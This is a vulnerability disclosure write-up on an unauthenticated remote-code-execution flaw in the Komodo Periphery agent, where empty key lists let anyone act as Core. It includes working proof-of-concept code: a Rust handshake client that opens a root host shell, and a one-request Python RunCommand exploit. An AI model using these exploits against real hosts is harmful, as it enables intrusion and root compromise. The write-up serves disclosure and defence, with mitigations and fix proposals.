TL;DR

Komodo is a popular open-source tool for building and deploying software and managing servers and Docker hosts. Each managed host runs an agent called Periphery, which listens on TCP port 8120 and takes orders from the central Core: start containers, build images, bring up Compose stacks, open a shell.

If you start Periphery the way the quick-install path leaves it — with no core_public_keys and no passkeys configured — it authorizes anyone. The key-check function returns true for any key when its allow-list is empty, and the handshake Periphery uses (Noise_XX) lets a complete stranger finish the handshake with a key they generated five seconds ago. No password, no token, no pre-shared secret.

The result is unauthenticated remote code execution as root on every host running an exposed, keyless Periphery. I confirmed it end-to-end against the current v2.x release by opening a host shell with a throwaway key and running id — uid=0(root).

This isn’t a v2-only bug. The v1.x line uses a completely different transport (plain HTTP with a passkey header, no Noise handshake at all), but the exact same root cause — an empty allow-list is treated as “allow everyone” instead of “allow no one” — is present there too, just in a different function. The published CVE record reflects this: the affected range is every release through 2.3.3, not just the v2.x line.

  • Affected: Komodo Periphery, all releases through v2.3.3 (current latest at time of writing)
  • Impact: Unauthenticated RCE on the Periphery host — CVSS 3.1 9.8 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), CVSS 4.0 9.3 Critical (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
  • Weakness: CWE-1188 (Insecure Default Initialization of Resource), CWE-306 (Missing Authentication for Critical Function)
  • Fix if you run Komodo today: set core_public_keys/passkeys (v2.x) or passkeys (v1.x), and don’t expose 8120 to untrusted networks. Details at the end.

Background: how Komodo talks to its hosts

Komodo has two halves:

  • Core — the brain. The web UI and API you log into. It stores your servers, stacks, builds, and schedules.
  • Periphery — the hands. A small agent you install on every host you want Komodo to manage. Core connects out to each Periphery agent and tells it what to do.

Periphery is powerful by design. The whole point is for it to run Docker commands, write Compose files, build images, and — this is the part that turns a “trust boundary” bug into an “RCE” bug — open host-level terminals. Not container shells. Shells on the machine itself, spawned directly through a PTY, no Docker required.

So the only thing standing between the internet and a root shell on your host is: does Periphery correctly decide who is allowed to be “Core”?

The handshake

In v2.x, Periphery authenticates Core with a Noise protocol mutual handshake — specifically Noise_XX_25519_ChaChaPoly_BLAKE2s. Noise is a well-regarded, modern cryptographic framework (it’s what WireGuard is built on), so at first glance this looks reassuringly solid.

The important detail is the XX in the pattern name. In Noise, the two letters describe when each side reveals its static public key. XX means both parties transmit their static keys during the handshake. Neither side needs to know the other’s key in advance to complete it.

That’s a perfectly valid choice — XX is designed for exactly the case where you don’t have the peer’s key ahead of time. But it moves all of the trust decision to after the handshake: the handshake itself will happily complete with anyone. Security depends entirely on what you do with the key once you have it — you have to check it against a list of keys you actually trust.

Which brings us to the bug.

The vulnerability

After the handshake, Periphery checks the static public key the client presented against its configured set of allowed Core keys. Here is that check, in bin/periphery/src/state.rs (all line references are against the v2.3.3 tag):

// bin/periphery/src/state.rs:82
pub async fn is_valid(&self, public_key: &str) -> bool {
  self.maybe_write(public_key).await;
  let keys = self.keys.load();
  keys.is_empty() || keys.iter().any(|pk| pk.as_str() == public_key)
}

Look at the return expression:

keys.is_empty() || keys.iter().any(|pk| pk.as_str() == public_key)

If the allow-list has any keys in it, this does the right thing: the presented key has to match one of them. But if the list is empty, keys.is_empty() short-circuits the whole expression to true — before the actual key ever gets compared to anything. An empty allow-list means everyone is allowed.

This is fail-open. The safe behavior for an empty allow-list is “trust no one”; this code does the opposite.

When is the list empty?

By default. On a fresh install, if you don’t explicitly configure keys:

  • server_enabled() defaults to true when core_addresses is empty — i.e. the inbound control server is on out of the box (client/core/rs/src/entities/config/periphery.rs:591).
  • With core_public_keys unset, the config spec returns None, so the refresh routine early-returns and the key list is simply never populated (.../periphery.rs:599, bin/periphery/src/state.rs).
  • handle_login’s match on (&config.core_public_keys, &config.passkeys) routes the (None, None) case straight into the Noise_XX branch (bin/periphery/src/connection/server.rs:157).

So the default, do-nothing configuration gives you: server on, allow-list empty, handshake that anyone can complete, check that returns true for anyone. Every link in the chain points the same direction — open.

The chain to code execution

Being authorized as “Core” isn’t the finish line; it’s the starting line. An authorized client can send any PeripheryRequest. The one I used for the proof of concept is the terminal API:

  • CreateServerTerminal spawns a real OS process on the host via portable_pty::native_pty_system() / CommandBuilder (bin/periphery/src/terminal.rs). This is a host shell, not a container shell — it works even if no Docker socket is mounted.
  • ExecuteTerminal writes an attacker-supplied command to that process’s stdin and streams stdout back over the same channel (bin/periphery/src/api/terminal.rs).

The same authorized channel also accepts RunContainer, Build, WriteComposeContentsToHost + ComposeUp, and ComposeExecution — so even without the terminal API, an attacker has several roads to code execution. The terminal is just the most direct one.

“Isn’t this documented?” — the honest part

I want to address this head-on, because it’s the first objection a maintainer or a sharp reader will raise, and leaving it out would make the whole writeup look cherry-picked.

Yes, the mechanism is documented. The shipped config reference carries this comment on core_public_keys:

“If neither these nor passkeys provided, inbound connections will not be authenticated.”

That’s accurate and vendor-authored. So why is this still a vulnerability worth a CVE, and not just “you held it wrong”? Four reasons:

  1. It’s fine print no fresh install encounters. That comment lives in the TOML config reference and in the v2.0.0 upgrade notes aimed at people migrating from v1. Someone following the quick-install path for a new deployment never crosses it.

  2. The install script is silent. scripts/setup-periphery.py, the documented quick-install path, prints no warning when its --core-public-keys flag is omitted.

  3. The runtime is silent. The agent logs its entire parsed configuration at startup, but emits no warning that it is, right now, accepting unauthenticated inbound connections. You have to know to read the struct dump and notice core_public_keys: None.

  4. The codebase already disagrees with itself. This is the clincher. If you configure core_public_keys to point at a key file and that file is missing, Periphery logs an error and calls std::process::exit(1) — it refuses to start unauthenticated (bin/periphery/src/state.rs:118-158). The maintainers already decided that one flavor of “I can’t authenticate Core” is unacceptable at any cost. But the strictly more exposed case — no key configured at all, no administrative intent to require one — fails open with no guard and no warning.

That asymmetry is, to me, what turns “insecure default” from an opinion into a defect. The project’s own code treats a less-dangerous misconfiguration as fatal while letting a more-dangerous one slide silently. Make those two cases consistent and the bug disappears.

This is a textbook CWE-1188 (Insecure Default Initialization) on top of CWE-306 (Missing Authentication for a Critical Function).

The same bug, a different architecture: v1.x

Komodo’s v1.x line doesn’t use the Noise handshake at all — it’s plain HTTP, guarded by a passkey middleware. But the logic has the identical shape. In bin/periphery/src/api/router.rs (v1.19.5 tag):

// bin/periphery/src/api/router.rs:82
async fn guard_request_by_passkey(
  req: Request<Body>,
  next: Next,
) -> serror::Result<Response> {
  if periphery_config().passkeys.is_empty() {
    return Ok(next.run(req).await);
  }
  // ...only reached if passkeys is non-empty...
}

Empty passkeys (the default — nothing generates one for you) means the middleware waves every request through before it even looks for an authorization header. The sibling IP-allowlist guard in the same file has the same shape:

async fn guard_request_by_ip(req: Request<Body>, next: Next) -> serror::Result<Response> {
  if periphery_config().allowed_ips.is_empty() {
    return Ok(next.run(req).await);
  }
  // ...
}

Both are instances of the exact pattern from the Noise-based v2.x check above: “empty list” read as “no restriction” instead of “no one is trusted yet.” Since the guarded handler deserializes and directly .resolve()s a PeripheryRequest — the same request type that drives container ops and terminal execution in v2.x — a default v1.19.5 install is reachable the same way, with less work for the attacker: no handshake, just an HTTP POST.

I confirmed this live against a real v1.19.5 container, with a one-request exploit that’s even simpler than the v2.x handshake-based PoC — see “Proof of concept: v1.x” below.

Proof of concept

I built a standalone PoC that reproduces the whole thing — auth bypass and a real command on the host — against the actual published release. It needs no clone of the Komodo repo: its dependencies are pinned to the v2.3.3 tag via git in Cargo.toml, so cargo build fetches the exact source this writeup cites.

Crucially, it reuses Komodo’s own client login code (transport::auth::ClientLoginFlow) completely unmodified. The only input that differs from a legitimate Core is the private key — generated fresh at random on every run, never seen by Periphery or Core. That’s the point: I’m not exploiting a custom client; I’m being a textbook-correct Core with a key I made up on the spot, and Periphery welcomes me in.

⚠️ Run this only against an instance you own, on an isolated host, with port 8120 bound to loopback. Don’t point it at anything you don’t control.

A note on image tags

ghcr.io/moghtech/komodo-periphery:latest currently resolves to v1.19.5 — the older HTTP + passkey architecture, not the Noise_XX handshake described above. That doesn’t mean :latest is safe: as shown in “The same bug, a different architecture” above, v1.19.5’s passkey guard fails open the same way when passkeys is unset. It just means the mechanism differs and the PoC below — built against v2.x’s Noise_XX login flow — won’t talk to a v1.x instance. This PoC specifically targets :2.3.3 (or :2); it is not a test of the v1.x line.

Step 1 — Start a keyless Periphery (the default state)

docker run -d --name komodo-periphery-poc \
  -p 127.0.0.1:8120:8120 \
  ghcr.io/moghtech/komodo-periphery:2.3.3

The startup log confirms the vulnerable state — note that the process neither exits nor warns:

PeripheryConfig { ... core_public_keys: None, passkeys: None ... }
Server starting on https://[::]:8120

Step 2 — Build and run the PoC

The PoC crate (Cargo.toml + src/main.rs) is laid out below. Build and run it:

cd poc
cargo build --release
./target/release/poc 127.0.0.1:8120

Observed output:

[*] Target Periphery (attacker-reachable, no creds): 127.0.0.1:8120
[*] Generated fresh, never-seen-before attacker keypair (no pre-shared secret).
[*] Performing Noise_XX mutual handshake (Core's own login code, unmodified)...
[+] AUTH BYPASS CONFIRMED: Periphery accepted our never-before-seen key as an
    authorized Core with ZERO credentials.

[*] Creating host-level terminal via CreateServerTerminal...
    -> {"name":"poc","target":{"type":"Server","params":{"server":null}},"command":"bash", ...}

[*] Executing on the HOST (not a container): `id && hostname && whoami`

[+] REMOTE CODE EXECUTION CONFIRMED -- command ran on the Periphery HOST with
    ZERO credentials. Raw stdout:
----------------------------------------
uid=0(root) gid=0(root) groups=0(root)
902b3601c0ef
root
----------------------------------------

uid=0(root). On the host. With a key I generated at runtime and no credentials of any kind. I reproduced this on three separate runs, each with a freshly generated key, each returning real output from the host.

The PoC deliberately runs only id && hostname && whoami — read-only, non-destructive, no writes, no container mutation, no persistence. It proves code execution without touching anything.

Step 3 — Negative control (prove it’s the empty list, not broken crypto)

Start a second instance with a real key configured, and point the same PoC at it:

docker run -d --name komodo-periphery-control \
  -p 127.0.0.1:8121:8120 \
  -e PERIPHERY_CORE_PUBLIC_KEYS="<a real SPKI base64 public key>" \
  ghcr.io/moghtech/komodo-periphery:2.3.3

./target/release/poc 127.0.0.1:8121

The throwaway key is correctly rejected:

Error: Login failed -- this Periphery is NOT vulnerable (core_public_keys/
passkeys are configured and rejected our key)
Caused by:
  3: Ensure public key matches one of the 'core_public_keys' in periphery
     config (PERIPHERY_CORE_PUBLIC_KEYS)
  4: <our key> is invalid

Same binary, same code, same handshake — the only difference is a non-empty allow-list. This isolates the defect precisely to the empty-list path. The Noise handshake and key validation are fine; the bug is the keys.is_empty() || ... short-circuit.

Step 4 — Contrast with the existing fail-closed guard

To show the inconsistency from Section “the honest part” concretely — point core_public_keys at a file that doesn’t exist:

docker run -d --name komodo-periphery-missing-file \
  -p 127.0.0.1:8122:8120 \
  -e PERIPHERY_CORE_PUBLIC_KEYS="file:/config/keys/does-not-exist.pub" \
  ghcr.io/moghtech/komodo-periphery:2.3.3
docker logs komodo-periphery-missing-file

Periphery logs an error and exits. This is the guard the keyless case is missing — the project already knows how to fail closed; it just doesn’t do it for the most exposed configuration.

The PoC source

poc/Cargo.toml:

[package]
name = "periphery_authbypass_poc"
version = "0.1.0"
edition = "2024"

[[bin]]
name = "poc"
path = "src/main.rs"

# Pinned to the exact affected release tag so the PoC builds against the same
# source this writeup cites. No local clone needed -- cargo fetches everything.
[dependencies]
transport        = { git = "https://github.com/moghtech/komodo", tag = "v2.3.3", package = "transport" }
periphery_client = { git = "https://github.com/moghtech/komodo", tag = "v2.3.3", package = "periphery_client" }
komodo_client    = { git = "https://github.com/moghtech/komodo", tag = "v2.3.3", package = "komodo_client" }
encoding         = { git = "https://github.com/moghtech/komodo", tag = "v2.3.3", package = "encoding" }
mogh_pki         = "1.1.3"
tokio            = { version = "1", features = ["full"] }
uuid             = { version = "1", features = ["v4"] }
rand             = "0.10"
anyhow           = "1"
serde_json       = "1"

The key idea in src/main.rs is this validator, which is where “trust nobody” becomes “trust the server unconditionally” on our side — because we don’t care who Periphery is, only whether it authorizes us:

struct AcceptAnyServerKey;
impl PublicKeyValidator for AcceptAnyServerKey {
  type ValidationResult = ();
  async fn validate(&self, _public_key: String) -> anyhow::Result<()> {
    Ok(())
  }
}

…and then the login call that uses Komodo’s own flow with a random key:

// Generate a brand-new, never-registered X25519 keypair -- our only "credential".
let raw: [u8; 32] = rand::rng().random();
let private_key = mogh_pki::Pkcs8PrivateKey::from_raw_bytes(&raw)?;

// Run Komodo's OWN unmodified client-side Noise_XX login flow.
ClientLoginFlow::login(LoginFlowArgs {
    identifiers,
    private_key: private_key.as_str(),
    public_key_validator: AcceptAnyServerKey,
    should_close: true,
    socket: &mut socket,
})
.await?;
// If this returns Ok, Periphery just authorized a key we invented at runtime.

From there it’s two requests — CreateServerTerminal then ExecuteTerminal — and read the PTY stream back. The full source accompanies this post.

Proof of concept: v1.x

The v1.x line doesn’t need a crypto handshake, generated keypairs, or even a custom client — just one unauthenticated HTTP POST. v1.19.5’s PeripheryRequest enum includes a RunCommand variant that shells out directly via run_komodo_command(), and the guard_request_by_passkey middleware that’s supposed to gate it fails open when passkeys is empty (the default).

⚠️ Same rules as above: run this only against an instance you own, on an isolated host, with port 8120 bound to loopback.

Step 1 — Start a keyless v1.x Periphery (the default state)

docker run -d --name komodo-periphery-v1-poc \
  -p 127.0.0.1:8120:8120 \
  ghcr.io/moghtech/komodo-periphery:1.19.5

The startup log confirms the vulnerable state:

PeripheryConfig { ... allowed_ips: ForgivingVec([]), passkeys: [], ... ssl_enabled: true, ... }
Komodo Periphery starting on https://[::]:8120

(Periphery serves HTTPS with a self-signed cert by default — that’s unrelated to this bug, just a detail that trips up a plain http:// request.)

Step 2 — Run the PoC

# poc_v1_runcommand.py — minimal, stdlib-only
import ssl, json, urllib.request

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

body = {"type": "RunCommand",
        "params": {"command": {"path": "", "command": "id && hostname && whoami"}}}

req = urllib.request.Request(
    "https://127.0.0.1:8120/",
    data=json.dumps(body).encode(),
    method="POST",
    headers={"Content-Type": "application/json"},
    # Deliberately NO Authorization header.
)
print(json.loads(urllib.request.urlopen(req, context=ctx).read()))
python3 poc_v1_runcommand.py 127.0.0.1:8120

Observed output (three separate runs, same result every time):

[*] Target Periphery (v1.x, attacker-reachable, no creds): 127.0.0.1:8120
[*] Sending POST / with type=RunCommand, ZERO Authorization header...
[*] Command: id && hostname && whoami

[+] AUTH BYPASS + RCE CONFIRMED: Periphery executed our command
    with ZERO credentials of any kind -- no key, no token, no
    handshake. Raw response:

{
  "stage": "run command",
  "command": "id && hostname && whoami\n",
  "stdout": "uid=0(root) gid=0(root) groups=0(root)\n400468e586d5\nroot\n",
  "stderr": "",
  "success": true,
  "start_ts": 1791990546166,
  "end_ts": 1791990546177
}

uid=0(root), on the host, from one HTTP POST with no credentials of any kind. 3/3 runs succeeded, byte-identical result each time.

Step 3 — Negative control

Same image, a passkey configured, same request:

docker run -d --name komodo-periphery-v1-poc-control \
  -p 127.0.0.1:8121:8120 \
  -e PERIPHERY_PASSKEYS="some-real-passkey-value" \
  ghcr.io/moghtech/komodo-periphery:1.19.5

python3 poc_v1_runcommand.py 127.0.0.1:8121
[-] Request rejected (401): {"error":"request was not sent with passkey","trace":[]}

Cleanly rejected. Same binary, same RunCommand path — the only difference is a non-empty passkeys list. This isolates the defect to the empty-list case exactly as the v2.x negative control did for the Noise_XX path.

The full PoC script accompanies this post.

Impact

If you can reach TCP 8120 on a host running a keyless Periphery, you get:

  • Arbitrary command execution on the host, as whatever user Periphery runs as — root in a default container deployment.
  • Full control of every container and Compose stack on that host.
  • Access to the Docker socket where it’s mounted, which is itself a well-known path to host root.
  • A pivot point into whatever network the host sits on — lateral movement to other managed hosts and stacks.

In short: one reachable, unconfigured Periphery = full compromise of that host and everything it runs.

Real-world exposure comes down to two questions: is 8120 reachable by an attacker, and did the operator configure keys? The CVSS 9.8 reflects the default, vulnerable configuration. If you’ve set keys, or firewalled the port to only your Core, you’re not exposed — which is also the fix.

If you run Komodo, do this now

You don’t need to wait for a patch to be safe. Any one of these closes the exposure; do as many as you can:

  1. Set core_public_keys (or passkeys) on every Periphery agent. This is the real fix — it turns the allow-list non-empty, and the negative control above proves it rejects strangers. Use the value your Core presents.
  2. Don’t expose 8120. Bind it to the interface your Core reaches it on, and firewall it off from the public internet. Core → Periphery is the only traffic that port should ever see.
  3. Audit what’s already listening. If you have Periphery agents on the public internet with no keys set, treat them as potentially compromised, not just vulnerable — rotate anything reachable from those hosts.

What I think the fix should be

Make the two cases consistent. The project already fails closed when a configured key file is missing; it should do the same when the inbound server is enabled with no keys at all:

  1. Fail closed at startup — if the server is enabled and neither core_public_keys nor passkeys is set, log an error and exit, exactly like the missing-file path in state.rs::refresh().
  2. Defense in depth — have is_valid reject on an empty list for the inbound direction instead of accepting, and consider defaulting allowed_ips to loopback/private ranges.
  3. If backward compatibility demands keeping the open default, at the very least emit a loud runtime warning whenever the server starts with an empty allow-list — and have setup-periphery.py print the same when --core-public-keys is omitted. A fine-print config comment isn’t enough for a default that hands out root.
  4. Apply the same fix to v1.x. guard_request_by_passkey and guard_request_by_ip in bin/periphery/src/api/router.rs share the identical empty-list-means-allow-all shape and need the same fail-closed treatment — this isn’t a v2-only defect.

Disclosure timeline

  • 2026-10-07 — Reported to VulnCheck (CNA) for coordinated disclosure. Komodo has no SECURITY.md or bug bounty program, so VulnCheck was the appropriate channel. Submission ID ee91c845-….
  • 2026-10-12 — VulnCheck validated the finding as a valid security primitive eligible for CVE assignment, and requested a public reference to proceed with CVE publication.
  • 2026-10-13 — Public reference established: GitHub issue moghtech/komodo#1690. VulnCheck also corrected the affected-version range at this stage — my original report said v1.x was unaffected; VulnCheck identified that guard_request_by_passkey in v1.19.5 fails open the same way, so the record correctly starts at version 0, not v2.0.0.
  • 2026-10-14 — CVE-2026-110631 reserved (13:07 UTC) and published (14:17 UTC) by VulnCheck. See the VulnCheck advisory and the official CVE record.
  • 2026-10-14 — This writeup published. As of publication the GitHub issue is still open with no maintainer response; I’ll update this post when a fix or acknowledgment lands.

Takeaways

A few things I’ll carry forward from this one:

  • “Empty list” is a trap in allow-list code. list.is_empty() || contains(x) reads as harmless until you realize the empty case means allow all. If you’re writing an authorization check, the empty allow-list should almost always be the most restrictive case, not the least.
  • A good cryptographic primitive doesn’t save a bad trust decision. Noise_XX is excellent. It also completes with anyone by design — the security was always in the post-handshake key check, and that’s exactly where it broke.
  • Your own code is the best witness. The single most convincing part of this report wasn’t the PoC — it was pointing out that the project already fails closed for a less dangerous case. When a codebase is inconsistent with itself about what’s acceptable, the more-dangerous side of that inconsistency is usually a real bug.

Thanks to the VulnCheck team for the coordinated-disclosure help, and to the Komodo maintainers for building a genuinely useful tool — insecure-default bugs like this are easy to ship and easy to fix, and I hope this makes the project a little safer.

— Ravindu Lakmina Munaweera